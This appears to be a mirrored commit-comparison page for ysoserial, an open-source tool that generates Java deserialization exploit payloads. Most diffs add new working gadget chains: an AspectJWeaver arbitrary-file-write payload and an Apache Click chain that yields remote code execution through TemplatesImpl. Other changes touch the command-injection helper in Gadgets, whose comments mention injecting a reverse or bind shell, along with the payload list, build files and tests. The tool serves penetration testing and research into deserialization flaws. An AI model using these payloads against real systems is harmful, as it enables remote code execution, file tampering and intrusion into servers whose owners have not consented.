mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
51110f9b71 | ||
|
|
8eb5cbfbf6 | ||
|
|
d13299428d | ||
|
|
79179e00b8 | ||
|
|
76ac2bb259 | ||
|
|
d367e379d9 | ||
|
|
138dc36bd2 | ||
|
|
750168c6d3 | ||
|
|
4df2ee2bb5 | ||
|
|
fc577c0bcd |
@@ -0,0 +1,40 @@
|
|||||||
|
name: publish jar
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
tags:
|
||||||
|
- "v*.*.*"
|
||||||
|
permissions:
|
||||||
|
contents: write
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
publish:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
permissions:
|
||||||
|
contents: write
|
||||||
|
packages: write
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
- uses: actions/setup-java@v3
|
||||||
|
with:
|
||||||
|
java-version: '8'
|
||||||
|
distribution: 'adopt'
|
||||||
|
cache: 'maven'
|
||||||
|
- name: Set version
|
||||||
|
run: mvn versions:set -DnewVersion=${{ github.ref_name }}
|
||||||
|
- name: Build jar
|
||||||
|
run: mvn -B clean package -DskipTests
|
||||||
|
# - name: publish maven jar
|
||||||
|
# run: mvn -B deploy -DskipTests -DrepositoryId=github
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
|
|
||||||
|
- name: Rename artifact
|
||||||
|
run: mv target/ysoserial-${{ github.ref_name }}-all.jar target/ysoserial-all.jar
|
||||||
|
|
||||||
|
- name: Publish GitHub release
|
||||||
|
uses: softprops/action-gh-release@v1
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
with:
|
||||||
|
files: target/ysoserial-all.jar
|
||||||
@@ -26,6 +26,7 @@ after_script:
|
|||||||
grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
|
grep testcase -A1 | grep -B1 -E 'failure|error|skipped' | grep -v -- --
|
||||||
|
|
||||||
matrix:
|
matrix:
|
||||||
|
fast_finish: true
|
||||||
allow_failures:
|
allow_failures:
|
||||||
- jdk: oraclejdk11
|
- jdk: oraclejdk11
|
||||||
- jdk: openjdk6
|
- jdk: openjdk6
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
|
||||||
[](
|
[](
|
||||||
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
|
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
|
||||||
[](https://travis-ci.org/frohoff/ysoserial)
|
[](https://travis-ci.com/frohoff/ysoserial)
|
||||||
[](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
|
[](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
|
||||||
|
|
||||||
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
||||||
@@ -47,8 +47,10 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
|
|||||||
Available payload types:
|
Available payload types:
|
||||||
Payload Authors Dependencies
|
Payload Authors Dependencies
|
||||||
------- ------- ------------
|
------- ------- ------------
|
||||||
|
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||||
|
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||||
Clojure @JackOfMostTrades clojure:1.8.0
|
Clojure @JackOfMostTrades clojure:1.8.0
|
||||||
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||||
CommonsCollections1 @frohoff commons-collections:3.1
|
CommonsCollections1 @frohoff commons-collections:3.1
|
||||||
@@ -57,6 +59,7 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
|
|||||||
CommonsCollections4 @frohoff commons-collections4:4.0
|
CommonsCollections4 @frohoff commons-collections4:4.0
|
||||||
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
|
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
|
||||||
CommonsCollections6 @matthias_kaiser commons-collections:3.1
|
CommonsCollections6 @matthias_kaiser commons-collections:3.1
|
||||||
|
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
|
||||||
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
|
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
|
||||||
Groovy1 @frohoff groovy:2.3.9
|
Groovy1 @frohoff groovy:2.3.9
|
||||||
Hibernate1 @mbechler
|
Hibernate1 @mbechler
|
||||||
@@ -69,12 +72,14 @@ Usage: java -jar ysoserial.jar [payload] '[command]'
|
|||||||
Jdk7u21 @frohoff
|
Jdk7u21 @frohoff
|
||||||
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
|
||||||
MozillaRhino1 @matthias_kaiser js:1.7R2
|
MozillaRhino1 @matthias_kaiser js:1.7R2
|
||||||
|
MozillaRhino2 @_tint0 js:1.7R2
|
||||||
Myfaces1 @mbechler
|
Myfaces1 @mbechler
|
||||||
Myfaces2 @mbechler
|
Myfaces2 @mbechler
|
||||||
ROME @mbechler rome:1.0
|
ROME @mbechler rome:1.0
|
||||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||||
URLDNS @gebl
|
URLDNS @gebl
|
||||||
|
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
@@ -326,6 +326,16 @@
|
|||||||
<artifactId>vaadin-server</artifactId>
|
<artifactId>vaadin-server</artifactId>
|
||||||
<version>7.7.14</version>
|
<version>7.7.14</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.aspectj</groupId>
|
||||||
|
<artifactId>aspectjweaver</artifactId>
|
||||||
|
<version>1.9.5</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.apache.click</groupId>
|
||||||
|
<artifactId>click-nodeps</artifactId>
|
||||||
|
<version>2.3.0</version>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<profiles>
|
<profiles>
|
||||||
@@ -428,4 +438,11 @@
|
|||||||
</profile>
|
</profile>
|
||||||
|
|
||||||
</profiles>
|
</profiles>
|
||||||
|
<distributionManagement>
|
||||||
|
<repository>
|
||||||
|
<id>github</id>
|
||||||
|
<name>GitHub Packages</name>
|
||||||
|
<url>https://maven.pkg.github.com/frohoff/ysoserial</url>
|
||||||
|
</repository>
|
||||||
|
</distributionManagement>
|
||||||
</project>
|
</project>
|
||||||
|
|||||||
@@ -0,0 +1,107 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
import ysoserial.payloads.annotation.Authors;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.annotation.PayloadTest;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Gadget chain:
|
||||||
|
HashSet.readObject()
|
||||||
|
HashMap.put()
|
||||||
|
HashMap.hash()
|
||||||
|
TiedMapEntry.hashCode()
|
||||||
|
TiedMapEntry.getValue()
|
||||||
|
LazyMap.get()
|
||||||
|
SimpleCache$StorableCachingMap.put()
|
||||||
|
SimpleCache$StorableCachingMap.writeToPath()
|
||||||
|
FileOutputStream.write()
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
args = "<filename>;<base64 content>"
|
||||||
|
Example:
|
||||||
|
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
|
||||||
|
|
||||||
|
More information:
|
||||||
|
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||||
|
*/
|
||||||
|
@PayloadTest(skip="non RCE")
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||||
|
@Authors({ Authors.JANG })
|
||||||
|
|
||||||
|
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||||
|
|
||||||
|
public Serializable getObject(final String command) throws Exception {
|
||||||
|
int sep = command.lastIndexOf(';');
|
||||||
|
if ( sep < 0 ) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||||
|
}
|
||||||
|
String[] parts = command.split(";");
|
||||||
|
String filename = parts[0];
|
||||||
|
byte[] content = Base64.decodeBase64(parts[1]);
|
||||||
|
|
||||||
|
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||||
|
Object simpleCache = ctor.newInstance(".", 12);
|
||||||
|
Transformer ct = new ConstantTransformer(content);
|
||||||
|
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
|
||||||
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||||
|
HashSet map = new HashSet(1);
|
||||||
|
map.add("foo");
|
||||||
|
Field f = null;
|
||||||
|
try {
|
||||||
|
f = HashSet.class.getDeclaredField("map");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f = HashSet.class.getDeclaredField("backingMap");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f);
|
||||||
|
HashMap innimpl = (HashMap) f.get(map);
|
||||||
|
|
||||||
|
Field f2 = null;
|
||||||
|
try {
|
||||||
|
f2 = HashMap.class.getDeclaredField("table");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f2 = HashMap.class.getDeclaredField("elementData");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f2);
|
||||||
|
Object[] array = (Object[]) f2.get(innimpl);
|
||||||
|
|
||||||
|
Object node = array[0];
|
||||||
|
if(node == null){
|
||||||
|
node = array[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
Field keyField = null;
|
||||||
|
try{
|
||||||
|
keyField = node.getClass().getDeclaredField("key");
|
||||||
|
}catch(Exception e){
|
||||||
|
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(keyField);
|
||||||
|
keyField.set(node, entry);
|
||||||
|
|
||||||
|
return map;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
|
||||||
|
PayloadRunner.run(AspectJWeaver.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+81
@@ -0,0 +1,81 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import org.apache.click.control.Column;
|
||||||
|
import org.apache.click.control.Table;
|
||||||
|
import ysoserial.payloads.annotation.Authors;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/*
|
||||||
|
Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
|
||||||
|
We use java.util.PriorityQueue to trigger ColumnComparator.compare().
|
||||||
|
After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
|
||||||
|
|
||||||
|
Chain:
|
||||||
|
|
||||||
|
java.util.PriorityQueue.readObject()
|
||||||
|
java.util.PriorityQueue.heapify()
|
||||||
|
java.util.PriorityQueue.siftDown()
|
||||||
|
java.util.PriorityQueue.siftDownUsingComparator()
|
||||||
|
org.apache.click.control.Column$ColumnComparator.compare()
|
||||||
|
org.apache.click.control.Column.getProperty()
|
||||||
|
org.apache.click.control.Column.getProperty()
|
||||||
|
org.apache.click.util.PropertyUtils.getValue()
|
||||||
|
org.apache.click.util.PropertyUtils.getObjectPropertyValue()
|
||||||
|
java.lang.reflect.Method.invoke()
|
||||||
|
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||||
|
...
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
- command to execute
|
||||||
|
|
||||||
|
Yields:
|
||||||
|
- RCE via TemplatesImpl.getOutputProperties()
|
||||||
|
|
||||||
|
Requires:
|
||||||
|
- Apache Click
|
||||||
|
- servlet-api of any version
|
||||||
|
|
||||||
|
by @artsploit
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked" })
|
||||||
|
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
|
||||||
|
@Authors({ Authors.ARTSPLOIT })
|
||||||
|
public class Click1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
|
// prepare a Column.comparator with mock values
|
||||||
|
final Column column = new Column("lowestSetBit");
|
||||||
|
column.setTable(new Table());
|
||||||
|
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
|
||||||
|
|
||||||
|
// create queue with numbers and our comparator
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
// stub data for replacement later
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
|
||||||
|
// switch method called by the comparator,
|
||||||
|
// so it will trigger getOutputProperties() when objects in the queue are compared
|
||||||
|
column.setName("outputProperties");
|
||||||
|
|
||||||
|
// finally, we inject and new TemplatesImpl object into the queue,
|
||||||
|
// so its getOutputProperties() method will be called
|
||||||
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
|
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
queueArray[0] = templates;
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(Click1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -23,6 +23,8 @@ public @interface Authors {
|
|||||||
String SCRISTALLI = "scristalli";
|
String SCRISTALLI = "scristalli";
|
||||||
String HANYRAX = "hanyrax";
|
String HANYRAX = "hanyrax";
|
||||||
String EDOARDOVIGNATI = "EdoardoVignati";
|
String EDOARDOVIGNATI = "EdoardoVignati";
|
||||||
|
String JANG = "Jang";
|
||||||
|
String ARTSPLOIT = "artsploit";
|
||||||
|
|
||||||
String[] value() default {};
|
String[] value() default {};
|
||||||
|
|
||||||
|
|||||||
@@ -115,7 +115,7 @@ public class Gadgets {
|
|||||||
// run command in static initializer
|
// run command in static initializer
|
||||||
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
|
||||||
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
|
||||||
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
|
command.replace("\\", "\\\\").replace("\"", "\\\"") +
|
||||||
"\");";
|
"\");";
|
||||||
clazz.makeClassInitializer().insertAfter(cmd);
|
clazz.makeClassInitializer().insertAfter(cmd);
|
||||||
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
|
||||||
|
|||||||
@@ -13,8 +13,18 @@ import com.nqzero.permit.Permit;
|
|||||||
public class Reflections {
|
public class Reflections {
|
||||||
|
|
||||||
public static void setAccessible(AccessibleObject member) {
|
public static void setAccessible(AccessibleObject member) {
|
||||||
|
String versionStr = System.getProperty("java.version");
|
||||||
|
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
|
||||||
|
if (javaVersion < 12) {
|
||||||
// quiet runtime warnings from JDK9+
|
// quiet runtime warnings from JDK9+
|
||||||
Permit.setAccessible(member);
|
Permit.setAccessible(member);
|
||||||
|
} else {
|
||||||
|
// not possible to quiet runtime warnings anymore...
|
||||||
|
// see https://bugs.openjdk.java.net/browse/JDK-8210522
|
||||||
|
// to understand impact on Permit (i.e. it does not work
|
||||||
|
// anymore with Java >= 12)
|
||||||
|
member.setAccessible(true);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||||
|
|||||||
@@ -203,7 +203,7 @@ public class PayloadsTest {
|
|||||||
File[] jars = dependencies.length > 0
|
File[] jars = dependencies.length > 0
|
||||||
? Maven.configureResolver()
|
? Maven.configureResolver()
|
||||||
.withMavenCentralRepo(true)
|
.withMavenCentralRepo(true)
|
||||||
.withRemoteRepo("jenkins", "http://repo.jenkins-ci.org/public/", "default")
|
.withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
|
||||||
.resolve(dependencies).withoutTransitivity().asFile()
|
.resolve(dependencies).withoutTransitivity().asFile()
|
||||||
: new File[0];
|
: new File[0];
|
||||||
URL[] urls = new URL[jars.length];
|
URL[] urls = new URL[jars.length];
|
||||||
|
|||||||
@@ -0,0 +1,14 @@
|
|||||||
|
package ysoserial.test.util;
|
||||||
|
|
||||||
|
import org.junit.Test;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
|
||||||
|
public class GadgetsTest {
|
||||||
|
@Test
|
||||||
|
public void test_createTemplatesImpl_noCompilationError() throws Exception {
|
||||||
|
Gadgets.createTemplatesImpl("hostname");
|
||||||
|
Gadgets.createTemplatesImpl("echo 'foobar'");
|
||||||
|
Gadgets.createTemplatesImpl("echo \"foobar\"");
|
||||||
|
Gadgets.createTemplatesImpl("\"`';\\");
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user